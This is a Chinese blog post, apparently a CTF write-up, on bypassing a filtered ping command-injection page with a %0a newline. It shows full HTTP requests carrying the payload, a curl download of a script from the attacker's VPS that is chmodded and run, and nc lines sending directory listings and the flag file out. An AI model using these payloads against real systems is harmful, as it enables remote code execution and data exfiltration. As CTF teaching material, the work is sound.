banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

命令执行绕过-死亡ping命令

297a673a89db936acaa55bac560f989

朋友发来一道 ctf 题目,打开网站如下图,一眼命令执行漏洞。

Pasted image 20241115170827

抓包测试无回显,但会显示命令执行成功。

Pasted image 20241115170856

请求如下:

POST /ping.php HTTP/1.1
Host: ctf.zhibangyang.cn:20508
Content-Length: 12
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ctf.zhibangyang.cn:20508
Referer: http://ctf.zhibangyang.cn:20508/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

ip=127.0.0.1

测试过滤什么字符,测试发现,过滤了下述字符,那么通过 dnslog 外带的方式就被堵死了。

;`$

Pasted image 20241115170926

Pasted image 20241115170956

dnslog 外带的方式通常是利用尖括号进行命令执行,如

`whoami`.xxx.dnslog.cn

测试发现 % 未过滤可以通过 %0a(换行符)绕过执行命令

1、准备 vps 服务器,在 vps 上新建一个 1.sh 脚本,脚本内容如下

ls / | nc vps地址 1234

2、vps 上用 nc 监听请求,并开启一个新窗口启动 python 服务,让靶机下载 1.sh 脚本

nc -lvnp 1234
python3 -m http.server 80

3、靶机执行如下命令

ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/4.sh
chmod 777 /tmp/4.sh
/bin/sh /tmp/4.sh

请求报如下:

POST /ping.php HTTP/1.1
Host: ctf.zhibangyang.cn:20508
Content-Length: 50
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ctf.zhibangyang.cn:20508
Referer: http://ctf.zhibangyang.cn:20508/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/4.sh

Pasted image 20241115172903

结果如下,可以返回请求

c7a4bf2d2d68349b0d31078e064e410

那么查看 flag 则只需要修改 1.sh 的脚本内容如下

cat /FLAG | nc vps地址 1234

再走一遍,获取 flag

ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/5.sh
chmod 777 /tmp/5.sh
/bin/sh /tmp/5.sh

490d14b6eac008d7954445c85e0e895

根据 flag 的格式知道 n1book 上的题

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。